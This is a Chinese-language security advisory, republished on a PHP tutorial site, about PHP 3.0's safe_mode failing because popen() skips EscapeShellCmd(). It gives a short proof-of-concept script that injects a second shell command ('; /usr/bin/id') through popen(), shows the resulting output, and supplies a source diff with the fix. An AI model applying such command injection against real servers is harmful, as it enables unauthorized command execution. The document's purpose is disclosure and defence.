Home >Backend Development >PHP Tutorial >PHP3 safe_mode 失效漏洞_php基础

PHP3 safe_mode 失效漏洞_php基础

WBOY
WBOYOriginal
2016-05-17 09:44:52898browse

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn